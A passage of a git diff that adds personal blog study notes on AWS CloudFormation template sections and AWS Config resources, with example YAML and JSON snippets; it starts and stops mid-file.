Parameters page when a user uses the template in the Create Stack wizard +- A string of up to 4000 characters that describes the parameter. + +### AllowedPattern +- A regular expression that represents the patterns to allow for String types. The pattern must match the entire parameter value provided. + +### AllowedValues +- An array containing the list of values allowed for the parameter. + +### Default +- A value of the appropriate type for the template to use if no value is specified when a stack is created. +- If you define constraints for the parameter, you must specify a value that adheres to those constraints. +### ConstraintDescription + +- A string that explains a constraint when the constraint is violated. +- For example, without a constraint description, a parameter that has an allowed pattern of [A-Za-z0-9]+ displays the following error message when the user specifies an invalid value: `Malformed input-Parameter MyParameter must match pattern [A-Za-z0-9]+` +- By adding a constraint description, such as must only contain letters (uppercase and lowercase) and numbers, you can display the following customized error message: `Malformed input-Parameter MyParameter must only contain uppercase and lowercase letters and numbers` +### MaxLength + +- An integer value that determines the largest number of characters you want to allow for String types. +### MaxValue + +- A numeric value that determines the largest numeric value you want to allow for Number types. +### MinLength + +- An integer value that determines the smallest number of characters you want to allow for String types. +### MinValue + +- A numeric value that determines the smallest numeric value you want to allow for Number types. +### NoEcho + +- Whether to mask the parameter value to prevent it from being displayed in the console, command line tools, or API. If you set the NoEcho attribute to true, CloudFormation returns the parameter value masked as asterisks (*****) for any calls that describe the stack or stack events, except for information stored in the locations specified below. + +> General requirements for parameters +> - maximum of 200 parameters in an AWS CloudFormation template. +> - Each parameter must be given a logical name (also called logical ID), unique among all logical names within the template. +> - Each parameter must be assigned a parameter type that is supported by AWS CloudFormation. +> - Each parameter must be assigned a value at runtime for AWS CloudFormation to successfully provision the stack. You can optionally specify a default value for AWS CloudFormation to use unless another value is provided. +> - Parameters must be declared and referenced from within the same template. You can reference parameters from the Resources and Outputs sections of the template. + + +use the `Ref` intrinsic function to reference a parameter, and AWS CloudFormation uses the parameter's value to provision the stack. +- You can reference parameters from the `Resources` and `Outputs` sections of the same template. + +--- + + + +## Conditions section : includes statements, control (optional) + +![Screen Shot 2020-06-26 at 13.25.07](https://i.imgur.com/wr4a92A.png) + +- The optional Conditions section contains statements that define the circumstances under which entities are created or configured. +- whether certain resources are created, or certain properties are assigned a value during the creation or update of a stack. + - can compare whether a value is equal to another value. + - Based on the result of that condition, conditionally create resources. + - If multiple conditions, separate them with commas. + + +- use conditions when + - reuse a template that can create resources in different contexts, + - such as a test environment vs a production environment. + - In template, add an EnvironmentType input parameter, which accepts either “prod” or “test” as inputs. + - For the production environment, + - include EC2 instances with certain capabilities; + - for the test environment, + - use reduced capabilities to save money. + - define which resources are created, and how they're configured for each environment type. + + + +At stack creation or stack update, +- AWS CloudFormation evaluates all the conditions in template before creating any resources + - Resources that are associated with a true condition are created. + - Resources that are associated with a false condition are ignored. +- AWS CloudFormation also re-evaluates these conditions at each stack update before updating any resources + - Resources that are still associated with a true condition are updated. + - Resources that are now associated with a false condition are deleted. + + +- Conditions are evaluated based on input parameter values specified when create or update a stack. + - if values or tags have been assigned, + - the template will do something different based on the assigned value. + +- Within each condition, you can reference another condition, a parameter value, or a mapping. + - After define all conditions, + - associate them with `resources` and `resource properties` in the `Resources` and `Outputs` sections of a template. + +- For example + - can create a condition and then associate it with a `resource` or `output` + - AWS CloudFormation only creates the resource or output if the condition is true. + - can associate the condition with a `property` + - AWS CloudFormation only sets the property to a specific value if the condition is true. + - If the condition is false, AWS CloudFormation sets the property to a different value that you specify. + +1. Parameters section + - Define the inputs that you want your conditions to evaluate. + - The conditions evaluate to true or false based on the values of these input parameters. + - If you want your conditions to evaluate pseudo parameters, you don't need to define the pseudo parameters in this section; pseudo parameters are predefined by AWS CloudFormation. + +2. Conditions section + - Define conditions by using the intrinsic condition functions. + - These conditions determine when AWS CloudFormation creates the associated resources. + +3. Resources and Outputs sections + - Associate conditions with the resources or outputs that you want to conditionally create. + - AWS CloudFormation creates entities that are associated with a true condition and ignores entities that are associated with a false condition. + - Use the Condition key and a condition's logical ID to associate it with a resource or output. + - To conditionally specify a property, use the Fn::If function. For more information, see Condition functions. + + +### Condition intrinsic functions +- You can use the following intrinsic functions to define conditions: + +```yaml +Fn::And +Fn::Equals +Fn::If +Fn::Not +Fn::Or +``` + + +### Examples + +```json +"Conditions" : { + "Logical ID" : {Intrinsic function} +} + + +"Parameters" : { + "InstanceTypeParameter" : { + "Type" : "String", + "Default" : "t2.micro", + "AllowedValues" : [ "t2.micro", "m1.small", "m1.large"], + "Description" : "Enter t2.micro, m1.small, m1.large. Default is t2.micro" + }, + "EnvType" : { + "Type" : "String", + "Default" : "Dev", + "AllowedValues" : [ "Dev", "QA", "Prod"], + "Description" : "Enter the environment" + }, +}, + +"Resources" : { + "Instances" : { + "Type" : "AWS::EC2::Instance", + "Properties" : { + "InstanceType" : { "Ref" : "InstanceTypeParameter" }, + "ImageId" : "ami-20b65349", + } + } +}, + +// use “Condition” to evaluate this, and specify appropriate resources for each environment. +"Conditions" : { + "CreateProdResources" : { + "Fn::Equals" : [{ "Ref" : "EnvType"}, "Prod" ] + } +} +``` + + +```yaml +AWSTemplateFormatVersion: 2010-09-09 +Parameters: + EnvType: + Description: Environment type. + Default: test + Type: String + AllowedValues: [prod, test] + ConstraintDescription: must specify prod or test. + +# setup condition +Conditions: + CreateProdResources: !Equals [!Ref EnvType, prod] + +Resources: + EC2Instance: + Type: 'AWS::EC2::Instance' + Properties: + ImageId: ami-0ff8a91507f77f867 + + MountPoint: + Type: 'AWS::EC2::VolumeAttachment' + # use the condition + Condition: CreateProdResources + Properties: + InstanceId: !Ref EC2Instance + VolumeId: !Ref NewVolume + Device: /dev/sdh + + NewVolume: + Type: 'AWS::EC2::Volume' + # use the condition + Condition: CreateProdResources + Properties: + Size: 100 + AvailabilityZone: !GetAtt + - EC2Instance + - AvailabilityZone +``` + + +### Nested condition +The following sample template references a condition within another condition. +- create a stack that creates an s3 bucket. +- For a stack deployed in a production environment, AWS CloudFormation creates a policy for the S3 bucket. + +```yaml +Parameters: + EnvType: + Type: String + AllowedValues: [prod, test] + BucketName: + Default: '' + Type: String + +Conditions: + IsProduction: !Equals [!Ref EnvType, prod] + + CreateBucket: !Not + - !Equals [!Ref BucketName, ''] + + CreateBucketPolicy: !And + - !Condition IsProduction + - !Condition CreateBucket + +Resources: + Bucket: + Type: 'AWS::S3::Bucket' + # use the condition, true than got the bucket + Condition: CreateBucket + + Policy: + Type: 'AWS::S3::BucketPolicy' + # use the condition, true than got the policy + Condition: CreateBucketPolicy + Properties: + Bucket: !Ref Bucket + PolicyDocument: ... +``` + + + + + +### Example + +![Screen Shot 2020-06-26 at 15.06.07](https://i.imgur.com/YdjU8aF.png) + +- the EnvType parameter specifies whether to create a Dev environment, a QA—environment, or a Prod environment. +- Depending on the environment, to specify different configurations, such as which database it points to. +- use “Condition” to evaluate this, and specify appropriate resources for each environment. + +- Build environment with conditions: + - when the target environment is development DEV. + - only one set of resources in one Availability Zone is launched + - When this template is used in production PROD + - the solution launches two sets of resources in two different AZ. + - get a redundant environment from the same template without single change + +- production environment and DEV environment + - must have the same stack + - in order to ensure that application works the way that it was designed. + +- DEV environment and QA environment + - must have the same stack of applications and the same configuration. + - You might have several QA environments for functional testing, user acceptance testing, load testing, and so on. + - The process of creating those environments manually can be -prone. + - use a Conditions statement in the template to solve this problem. + + +--- + +## Mapping + +- atches a key to a corresponding set of named values. + +- Example + - set values based on a region, + - create a mapping + - uses the region name as a key + - and contains the values you want to specify for each specific region. + - use the `Fn::FindInMap` intrinsic function to retrieve values in a map. + +- You cannot include parameters, pseudo parameters, or intrinsic functions in the Mappings section. + + +### example: mapping + + +```yaml + +Mappings: + Mapping01: + Key01: + Name: Value01 + Key02: + Name: Value02 + Key03: + Name: Value03 + + +AWSTemplateFormatVersion: "2010-09-09" + +Mappings: # section + RegionMap: # map ID + us-east-1: # Key + "HVM64": "ami-0ff8a91507f77f867" # Name: Value + us-west-1: + "HVM64": "ami-0bdb828fd58c52235" + eu-west-1: + HVM64: ami-047bb4163c506cd98 + HVMG2: ami-0a7c483d527806435 + ap-northeast-1: + HVM64: ami-06cd52961ce9f0d85 + HVMG2: ami-053cdd503598e4a9d + ap-southeast-1: + HVM64: ami-08569b978cc4dfa10 + HVMG2: ami-0be9df32ae9f92309 + +Resources: + myEC2Instance: + Type: "AWS::EC2::Instance" + Properties: + ImageId: !FindInMap [RegionMap, !Ref "AWS::Region", HVM64] + # !FindInMap [mapID, !Ref keyID, ValueName] + InstanceType: m1.small + +``` + +### Input parameter and FindInMap + +- use an input parameter with the `Fn::FindInMap` function to refer to a specific value in a map. +- example + - have a list of regions and environment types that map to a specific AMI ID. + - select the AMI ID that your stack uses by using an input parameter (EnvironmentType). + - To determine the region, use the `AWS::Region` pseudo parameter, which gets the AWS region in which you create the stack. + +```yaml + Parameters: + EnvironmentType: + Description: The environment type + Type: String + Default: test + AllowedValues: [prod, test] + ConstraintDescription: must be a prod or test + + Mappings: + RegionAndInstanceTypeToAMIID: + us-east-1: + test: "ami-8ff710e2" + prod: "ami-f5f41398" + us-west-2: + test: "ami-eff1028f" + prod: "ami-d0f506b0" + + Resources: + ...other resources... + + Outputs: + TestOutput: + Description: Return the name of the AMI ID that matches the region and environment type keys + Value: !FindInMap [RegionAndInstanceTypeToAMIID, !Ref "AWS::Region", !Ref EnvironmentType] + # !FindInMap [which map ID, !Ref which key, !Ref EnvironmentType] +``` + + +--- + + + +## Metadata: data about the data +  +![Screen Shot 2020-06-26 at 10.44.06](https://i.imgur.com/xGuoh3a.png) + +- Some AWS CloudFormation features retrieve settings or configuration information defined from the Metadata section. + +- Define in the AWS CloudFormation-specific metadata keys: + - ``AWS::CloudFormation::Init`` + - Defines configuration tasks for the cfn-init helper script. + - This script is useful for configuring and installing app on EC2 instances. + - `AWS::CloudFormation::Interface` + - Defines the grouping and ordering of input parameters when they are displayed in the AWS CloudFormation console. + - By default, the AWS CloudFormationconsole alphabetically sorts parameters by their logical ID. + - `AWS::CloudFormation::Designer` + - Describes how your resources are laid out in AWS CloudFormationDesigner. + - Designer automatically adds this information when you use it create and update templates. + +```yaml +Metadata: + Instances: + Description: "Information about the instances" + Databases: + Description: "Information about the databases" +``` + + +### `AWS::CloudFormation::Authentication` + +- to specify authentication credentials for files or sources that you specify with the `AWS::CloudFormation::Init` resource. +- To include authentication information, + - use the uris property if the source is a URI + - use the buckets property if the source is an Amazon S3 bucket. + + - can also specify authentication information for files directly in the `AWS::CloudFormation::Init` resource. + - The files key of the resource contains a property named authentication. + - You can use the authentication property to associate authentication information defined in an `AWS::CloudFormation::Authentication` resource directly with a file. + +For files, AWS CloudFormation looks for authentication information in the following order: +1. The `authentication property` of the `AWS::CloudFormation::Init` files key. +2. The `uris or buckets property` of the `AWS::CloudFormation::Authentication` resource. + +- For sources, AWS CloudFormation looks for authentication information in the uris or buckets property of the `AWS::CloudFormation::Authentication` resource. + +Examples +- Unlike most resources, the `AWS::CloudFormation::Authentication` type defines a list of user-named blocks, +- each of which contains authentication properties that use lower camel case naming. + +1. EC2 web server authentication + - how to get a file from a private S3 bucket within an EC2 instance. + - The credentials used for authentication are defined in the `AWS::CloudFormation::Authentication` resource, and referenced by the `AWS::CloudFormation::Init` resource in the files section. + +```yaml +Metadata: + MetadataID: + Type: AWS::CloudFormation::Authentication + String: + accessKeyId: String + buckets: + - String + password: String + secretKey: String + type: String + uris: + - String + username: String + roleName: String + +WebServer: + Type: AWS::EC2::Instance + DependsOn: "BucketPolicy" + + Metadata: + AWS::CloudFormation::Init: + config: + packages: + yum: + httpd: [] + files: + /var/www/html/index.html: + source: + Fn::Join: + - "" + - + - "https://s3.amazonaws.com/" + - Ref: "BucketName" + - "/index.html" + mode: "000400" + owner: "apache" + group: "apache" + authentication: "S3AccessCreds" + services: + sysvinit: + httpd: + enabled: "true" + ensureRunning: "true" + + AWS::CloudFormation::Authentication: + S3AccessCreds: + type: "S3" + accessKeyId: + Ref: "CfnKeys" + secretKey: + Fn::GetAtt: + - "CfnKeys" + - "SecretAccessKey" +Properties: + EC2 Resource Properties ... +``` + + +### `AWS::CloudFormation::Interface` + +- a metadata key that defines how parameters are grouped and sorted in the AWS CloudFormation console. +- When you create or update stacks in the console, the console lists input parameters in alphabetical order by their logical IDs. +- grouping and ordering parameters + - By using this key, you can define your own parameter grouping and ordering so that users can efficiently specify parameter values. + - example + - group all EC2-related parameters in one group and all VPC-related parameters in another group. + +- define labels for parameters. + - A label is a friendly name or description that the console displays instead of a parameter's logical ID. + - Labels are useful for helping users understand the values to specify for each parameter. + - Example, + - label a KeyPair parameter Select an EC2 key pair. + +```yaml +Metadata: + AWS::CloudFormation::Interface: + ParameterGroups: + - ParameterGroup + ParameterLabels: + ParameterLabel + + +Metadata: + + AWS::CloudFormation::Interface: + ParameterGroups: + + - Label: + default: "Network Configuration" + Parameters: + - VPCID + - SubnetId + - SecurityGroupID + + - Label: + default: "Amazon EC2 Configuration" + Parameters: + - InstanceType + - KeyName + + ParameterLabels: + VPCID: + default: "Which VPC should this be deployed to?" + +``` + +Using the metadata key from this example, the following figure shows how the console displays parameter groups when a stack is created or updated: Parameter groups in the console + +![console-create-stack-parameter-groups](https://i.imgur.com/0XOUxcX.png) + + +--- + + +## Resources: declare the AWS resources be included/created in stack + +![Screen Shot 2020-06-26 at 10.44.06](https://i.imgur.com/fQBHEj4.png) + +- declare the AWS resources be included / created in the stack + - such as an EC2 instance, an S3 bucket. +- These properties could also be set in the Parameters or Conditions sections + +- must declare each resource separately; +- can specify multiple resources of the same type. + - declare multiple resources, separate them with commas + + +```json +"Resources" : { + "Instances1" : { + "Type" : "AWS::EC2::Instance", + "Properties" : { + // MyQueue resource as part of its UserData property, + "UserData" : { "Fn::Base64" : { "Fn::Join" : [ "", [ "Queue=", { "Ref" : "MyQueue" }]]}}, + // AvailabilityZone setting: the EC2 instance will be hosted in Northern Virginia us-east-1a. + "AvailabilityZOne" : "us-east-1a", + "ImageId" : "ami-20b65349" + }, + // DependsOn: + // How AWS CloudFormation should wait to launch a resource until a specific, different resource has finished being created. + // create the EC@ after the myDB instance has been created + "DependsOn" : "myDB" + }, + // 2nd resource is an Amazon Simple Queue Service SQS—queue "MyQueue". + "MyQueue" : { + "Type" : "AWS::SQS::Queue", + "Properties" : {} + }, + "myDB" : { + "Type" : "AWS::RDS::DBInstance", + "Properties" : {} + } +} +``` + +```yaml +Resources: + Logical ID: + Type: Resource type + Properties: + String: OneStringValue + String: A longer string value + Number: 123 + LiteralList: + - "[first]-string-value with a special characters" + - "[second]-string-value with a special characters" + Boolean: true + ReferenceForOneValue: + Ref: MyLogicalResourceName + ReferenceForOneValueShortCut: !Ref MyLogicalResourceName + FunctionResultWithFunctionParams: !Sub | + Key=%${MyParameter} + +Resources: + MyEC2Instance: + Type: "AWS::EC2::Instance" + Properties: + ImageId: "ami-0ff8a91507f77f867" + + MyInstance: + Type: "AWS::EC2::Instance" + Properties: + UserData: + "Fn::Base64": + !Sub | + Queue=${MyQueue} + AvailabilityZone: "us-east-1a" + ImageId: "ami-0ff8a91507f77f867" + + MyQueue: + Type: "AWS::SQS::Queue" + Properties: {} +``` + + + + + + + + +### DependsOn + +```json +"Resources" : { + "Instances1" : { + "Type" : "AWS::EC2::Instance", + "Properties" : { + "UserData" : { "Fn::Base64" : { "Fn::Join" : [ "", [ "Queue=", { "Ref" : "MyQueue" }]]}}, + "AvailabilityZOne" : "us-east-1a", + "ImageId" : "ami-20b65349" + }, + // DependsOn: + // How AWS CloudFormation should wait to launch a resource until a specific, different resource has finished being created. + // create the EC@ after the myDB instance has been created + "DependsOn" : "myDB" + }, + "myDB" : { + "Type" : "AWS::RDS::DBInstance", + "Properties" : {} + } +} +``` + +The DependsOn attribute should be used when +- need to wait for something. +- Some resources in a VPC require a gateway (either internet gateway / VPN gateway) + - If AWS CloudFormation template defines a VPC, a gateway, and a gateway attachment, + - any resources that require the gateway depend on the gateway attachment. + + - Other VPC-dependent resources + - Auto Scaling groups, + - Amazon EC2 instances, + - an EC2 instance with a public IP address depends on the VPC gateway attachment if the VPC and internet gateway resources are also declared in the same template. + - Elastic Load Balancing load balancers, + - Elastic IP addresses, + - Amazon RDS—database instances, + - Amazon Virtual Private Cloud VPC—routes that include the internet gateway + + + +### wait condition: wait/pause and receive a signal to continue + +```json +"Resources" : { + "Instances1" : { + "Type" : "AWS::EC2::Instance", + "Properties" : { + "UserData" : { "Fn::Base64" : { "Fn::Join" : [ "", [ "Queue=", { "Ref" : "MyQueue" }]]}}, + "AvailabilityZOne" : "us-east-1a", + "ImageId" : "ami-20b65349" + }, + // DependsOn: + // How AWS CloudFormation should wait to launch a resource until a specific, different resource has finished being created. + // create the EC2 after the myDB instance has been created + "DependsOn" : "myDB" + }, + "myWaitCondition" : { + "Type" : "AWS::CloudFormation::WaitCondition", + // create the EC after the myDB instance has been created + "DependsOn" : "myDB", + "Properties" : { + "Handle" : { "R2ef" : "myWaitHandle"}, + "Timeout" : "4500" + // It will wait for that EC2 instance or it will time out after 4,500 seconds. + } + }, + "myDB" : { + "Type" : "AWS::RDS::DBInstance", + "Properties" : {} + } +} +``` + +- `AWS::CloudFormation::WaitConditionHandle` + - has no properties. + - reference the `WaitCondition Handlere source` by using the Ref function, + - AWS CloudFormation returns a pre-signed URL. + - You pass this URL to applications or scripts that are running on your EC2 instances to send signals to that URL. + - An associated `AWS::CloudFormation::WaitCondition` resource checks the URL for the required number of success signals or for a failure signal. + - The timeout value is in seconds + + +### creation policy: pause stack creation and wait for specified number of successful signals. + +```json +"Resources" : { + "AutoScalingGroup" : { + "Type" : "AWS::AutoScaling::AutoScalingGroup", + "Properties" : { + "AvailabilityZOne" : {"Fn::GetAZs" : ""}, + "LaunchConfigurationName" : { "Ref" : "LaunchConfig" }, + "DesiredCapacity" : "3", + "MinSize" : "1", + "MaxSize" : "4" + }, + "CreationPolicy" : { + " ResourceSignal" : { + "Count" : "3", + // “PT#H#M#S: # is the number of hours, minutes, and seconds. + "Timeout" : "PT15M" + // wait for 3 AutoCaling instance but time out after 15m + } + } + } +} +``` + +- This creation policy is associated with the creation of an Auto Scaling group + - three successful signals within fifteen minutes are required or it will time out + - Set timeouts to give resources enough time to get up and running. + - When the timeout period expires, or a failure signal is received, + - the creation of the resource fails, + - and AWS CloudFormation rolls the stack back. + +--- + + +## Mappings : keys and their associated values + +![Screen Shot 2020-06-26 at 13.18.49](https://i.imgur.com/lTWjdxg.png) + + +- specify conditional parameter values. +- customize the properties of a resource based on certain conditions + - enables fine-grained control over how the templates launched. + + +```json +"Mappings" : { + "RegionAndAMIID" : { + "us-east-1" : { + "m1.small" : " ami-aa", + "te.micro" : " ami-bb", + }, + "us-east-2" : { + "m1.small" : " ami-cc", + "te.micro" : " ami-dd", + } + } +} +``` + + +- For example, + - use Regions and specify multiple mapping levels + - an AMI ImageId number is unique to a Region, and the person who use the template not necessarily know which AMI to use. + - provide the `AMI lookup list` using the Mappings parameter. + - contains a map for Regions. + - The mapping + - lists the AMI that should be used, based on the Region the instance will launch in + - specifies an AMI based on the type of instance that is launched within a specific Region. + - if an m1.small instance is used, the AMI be used is ami-1ccae774. + - This mapping ties specific machine images to instances. + + +--- + + +## Output  + + +![Screen Shot 2020-06-26 at 15.17.56](https://i.imgur.com/pI7Bf8n.png) + +- Outputs are values that are returned whenever view the properties of the stack. + +- For example, + - if something executes properly, + - it is helpful to provide an indication that the execution completed and was successful. + +- Outputs can specify the string output of any logical identifier that is available in the template. + +- It's a convenient way to capture important information about your resources or input parameters + + +### example + + +1. Stack output + +```yaml +# the output named BackupLoadBalancerDNSName +# returns the DNS name for the resource with the logical ID BackupLoadBalancer only when the CreateProdResources condition is true. +# (The second output shows how to specify multiple outputs.) +Outputs: + BackupLoadBalancerDNSName: + Description: The DNSName of the backup load balancer + Value: !GetAtt BackupLoadBalancer.DNSName + Condition: CreateProdResources + InstanceID: + Description: The Instance ID + Value: !Ref EC2Instance +``` + +2. Cross-stack output + +```yaml +# the output named StackVPC returns the ID of a VPC, +# and then exports the value for cross-stack referencing with the name VPCID appended to the stack's name. +Outputs: + StackVPC: + Description: The ID of the VPC + Value: !Ref MyVPC + Export: + Name: !Sub "${AWS::StackName}-VPCID" +``` + + + +--- + +# Resources and Features outside AWS CloudFormation + +For Resources and Features Not Directly Supported by AWS CloudFormation + +- AWS CloudFormation is extensible with custom resources + - so can use part of your own logic to create stacks. + - With custom resources, write custom provisioning logic in templates. + - CloudFormation runs the custom logic when you create, update, or delete stacks. + +- For example +- to include resources that are not available as AWS CloudFormation resource types. + - include those resources by using custom resources, + - which means that you can still manage all your related resources in a single stack. + - Use the `AWS::CloudFormation::CustomResource` or `Custom::String` resource type to define custom resources in your templates. + - Custom resources require one property: the service token + - specifies where AWS CloudFormationsends requests to, such as an Amazon SNS topic. + - Examples include + - provisioning a third-party application subscription and passing the authentication key back to the EC2 instance that needs it. + - use an AWS Lambda function to peer a new VPC with another VPC + + + +example: + + +![Screen Shot 2020-06-26 at 15.24.01](https://i.imgur.com/RSa5TWf.png) + + +```json +cfnVerifier + Type: AWS::CloudFormation::CustomResource + Properties: + ServiceToken + Fn::Join [ "", [ "arn:aws:lambda:", !Ref: "AWS::Region", ":", !Ref: "AWS::AccountId", ":function:cfnVerifierLambda"]] +``` + +- user creates an AWS CloudFormation template by using a stack that has a `custom resource operation`. + - This custom resource operation was defined by using `AWS::CloudFormation::CustomResource` or `Custom::CustomResource`. +- The template includes a ServiceToken + - from the third-party resource provider + - used for authentication. +- The template also includes any provider-defined parameters required for the custom resource. + +- AWS CloudFormation + - communicates with the custom resource provider by using Amazon Simple Notification Service SNS—message that includes + - a Create, Update, or Delete request. + - any input data that is stored in the stack template + - and an Amazon S3 URL for the response. +- The custom resource provider + - processes the message + - returns a Success or Fail response to AWS CloudFormation. + - can also return + - the names and values of resource attributes if the request succeeded (output data) + - or send a string that provides details when the request fails. + +- AWS CloudFormation + - sets the stack status according to the response that is received, + - provides the values of any custom resource output data. + +- can use an AWS Lambda function to act as a custom resource. + - To implement this, can replace the ServiceToken for custom resource with the Amazon Resource Name, ARN, of your Lambda custom resource. + - do not need to create an Amazon SNS topic for a custom resource when you use AWS Lambda because AWS CloudFormation is Lambda-aware. + +- As in the previous scenarios, your code is responsible for doing any required processing. + +- It uses the pre-signed URL (sent by AWS CloudFormation) to signal to the service that the creation of the custom resource either succeeded or failed. + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-config.md b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-config.md new file mode 100644 index 00000000000..8b0964f0e0e --- /dev/null +++ b/_posts/01Cloud/01AWS/CodeDevelop/CloudFormation/2020-07-18-CloudFormationTemplate-0-config.md @@ -0,0 +1,737 @@ +--- +title: AWS - CodeDevelop - CloudFormation - Template `AWS::Config` +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, CodeDevelop] +tags: [AWS] +toc: true +image: +--- + +[toc] + +- ref + - [aws doc](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-resource-config-configrule.html) + - [Deploy Managed Config Rules using CloudFormation and CodePipeline](https://stelligent.com/2019/10/31/deploy-managed-config-rules-using-cloudformation-and-codepipeline/) + +--- + +# config + + +--- + +## step1 + +add a new custom AWS Config rule +- must first create the AWS Lambda function that the rule invokes to evaluate your resources. +- When use the PutConfigRule action to add the rule to AWS Config, must specify the Amazon Resource Name (ARN) that AWS Lambda assigns to the function. +- Specify the ARN for the SourceIdentifier key. This key is part of the Source object, which is part of the ConfigRule object. + + +--- + + +## AWS::Config::ConfigRole + +```yaml +Type: AWS::IAM::Role +Properties: + AssumeRolePolicyDocument: + Version: '2012-10-17' + Statement: + - Sid: RoleforConfig + Effect: Allow + Action: 'sts:AssumeRole' + Principal: + Service: 'config.amazonaws.com' + ManagedPolicyArns: 'arn:aws:iam::aws:policy/service-role/AWSConfigRole' +``` + + +--- + +## step2 + +To enable AWS Config, must create a configuration recorder and a delivery channel . +- If create the resources separately, must create a configuration recorder before create a delivery channel. +- AWS Config uses the **configuration recorder** to capture configuration changes to your resources. +- AWS Config uses the **delivery channel** to deliver the configuration changes to S3 bucket or Amazon SNS topic. + +--- + +## AWS::Config::ConfigurationRecorder + + The configuration recorder + +- describes the AWS resource types for which AWS Config records configuration changes. +- stores the configurations of the supported resources in your account as configuration items. +- AWS CloudFormation starts the recorder as soon as the delivery channel is available. +- To stop the recorder, delete the configuration recorder from your stack. + +```yaml +Type: AWS::Config::ConfigurationRecorder +Properties: + Name: String + # Specifies the types of AWS resource for which AWS Config records configuration changes. + # whether to record configurations for all supported resources or for a list of resource types. + # The resource types that you list must be supported by AWS Config. + RecordingGroup: + AllSupported: Boolean + # whether AWS Config records configuration changes for every supported type of regional resource. + # set to true: when AWS Config adds support for a new type of regional resource, it starts recording resources of that type automatically; you cannot enumerate a list of resourceTypes. + IncludeGlobalResourceTypes: Boolean + # whether AWS Config includes all supported types of global resources (for example, IAM resources) with the resources that it records. + # Before can set to true, must set the AllSupported option to true. + # If set to true, when AWS Config adds support for a new type of global resource, it starts recording resources of that type automatically. + # The configuration details for any global resource are the same in all regions. To prevent duplicate configuration items, you should consider customizing AWS Config in only one region to record global resources. + ResourceTypes: + - "AWS::EC2::Volume" + # A comma-separated list that specifies the types of AWS resources for which AWS Config records configuration changes + # The Amazon Resource Name (ARN) of the IAM role that is used to make read or write requests to the delivery channel and to get configuration details for supported AWS resources. + RoleARN: + Fn::GetAtt: + - ConfigRole + - Arn +``` + +[AWS Config supports the following AWS resources types and resource relationships.](https://docs.aws.amazon.com/config/latest/developerguide/resource-config-reference.html#supported-resources) + + +--- + + +## AWS::Config::DeliveryChannel + + +Specifies a delivery channel object to deliver configuration information to an S3 bucket and SNS topic . +- Before you can create a delivery channel, must create a configuration recorder. +- use this action to change the Amazon S3 bucket or an Amazon SNS topic of the existing delivery channel. +- To change the Amazon S3 bucket or an Amazon SNS topic, call this action and specify the changed values for the S3 bucket and the SNS topic. +- If you specify a different value for either the S3 bucket or the SNS topic, this action will keep the existing value for the parameter that is not changed. +- can have only one delivery channel per region in your account. +- When create the delivery channel, you can specify; + - how often AWS Config delivers configuration snapshots to your Amazon S3 bucket (for example, 24 hours), + - the S3 bucket to which AWS Config sends configuration snapshots and configuration history files, + - and the Amazon SNS topic to which AWS Config sends notifications about configuration changes, such as updated resources, AWS Config rule evaluations, + - and when AWS Config delivers the configuration snapshot to your S3 bucket. + +```yaml +DeliveryChannel: + Type: AWS::Config::DeliveryChannel + Properties: + # how often AWS Config delivers configuration snapshots to the S3 bucket. + ConfigSnapshotDeliveryProperties: + DeliveryFrequency: "One_Hour | Six_Hours | Three_Hours | Twelve_Hours | TwentyFour_Hours" + Name: String + # The name of the S3 bucket to which AWS Config delivers configuration snapshots and configuration history files. + # If specify a bucket that belongs to another AWS account, that bucket must have policies that grant access permissions to AWS Config + S3BucketName: + Ref: ConfigBucket + S3KeyPrefix: String + # The Amazon Resource Name (ARN) of the Amazon SNS topic to which AWS Config sends notifications about configuration changes. + # If choose a topic from another account, the topic must have policies that grant access permissions to AWS Config + SnsTopicARN: + Ref: ConfigTopic +``` + + + +--- + +## step3 + +create rule + +--- + +## AWS::Config::ConfigRule + + +Specifies an AWS Config rule for evaluating whether your AWS resources comply with your desired configurations. +- use this action for `custom AWS Config rules` and `AWS managed Config rules`. +- A custom AWS Config rule is a rule that you develop and maintain. +- An AWS managed Config rule is a customizable, predefined rule that AWS Config provides. + +to add new custom AWS Config rule +1. first create the AWS Lambda function that the rule invokes to evaluate your resources. +2. When you use the PutConfigRule action to add the rule to AWS Config, you must specify the Lambda function ARN. +3. Specify the ARN for the `SourceIdentifier` key. This key is part of the Source object, which is part of the ConfigRule object. + +to add new AWS managed Config rule +1. pecify the rule's identifier for the `SourceIdentifier` key. +2. To reference AWS managed Config rule identifiers, see About AWS Managed Config Rules. + + + ConfigRuleName + +- For new rule, specify the `ConfigRuleName` in the ConfigRule object. + - Do not specify the ConfigRuleArn or the ConfigRuleId. These values are generated by AWS Config for new rules. +- updating a rule, specify the rule by `ConfigRuleName, ConfigRuleId, or ConfigRuleArn` in the ConfigRule data type that you use in this request. + + + +```yaml +Type: AWS::Config::ConfigRule +Properties: + # If don't specify a name, AWS CloudFormation generates a unique physical ID + ConfigRuleName: String + Description: String + # A string, in JSON format, that is passed to the AWS Config rule Lambda function. + InputParameters: Json + application: 'oneNote' + platformType: 'Win' + # The maximum frequency with which AWS Config runs evaluations for a rule. + # You can specify a value for MaximumExecutionFrequency when: + # use an AWS managed rule that is triggered at a periodic frequency. + # the custom rule is triggered when AWS Config delivers the configuration snapshot. + # By default, rules with a periodic trigger are evaluated every 24 hours. + # Allowed values: One_Hour | Six_Hours | Three_Hours | Twelve_Hours | TwentyFour_Hours + MaximumExecutionFrequency: String + + # Defines which resources can trigger an evaluation for the rule. + # - The scope can include one or more resource types + # - a combination of one resource type and one resource ID, + # - or a combination of a tag key and value. + # Specify a scope to constrain the resources that can trigger an evaluation for the rule. + # If do not specify a scope, evaluations are triggered when any resource in the recording group changes. + Scope: + # The ID of the only AWS resource that want to trigger an evaluation for the rule. + # If specify a resource ID, must specify one resource type for ComplianceResourceTypes. + ComplianceResourceId: String + # The resource types of only those AWS resources that you want to trigger an evaluation for the rule. + # can only specify one type if you also specify a resource ID for ComplianceResourceId. + ComplianceResourceTypes: + - String + - "AWS::EC2::Volume" + # The tag key that is applied to only those AWS resources that you want to trigger an evaluation for the rule. + TagKey: String + # The tag value applied to only those AWS resources that you want to trigger an evaluation for the rule. If you specify a value for TagValue, you must also specify a value for TagKey. + TagValue: String + + # Provides the rule owner (AWS or customer), + # the rule identifier + # and the notifications that cause the function to evaluate your AWS resources. + Source: + Owner: 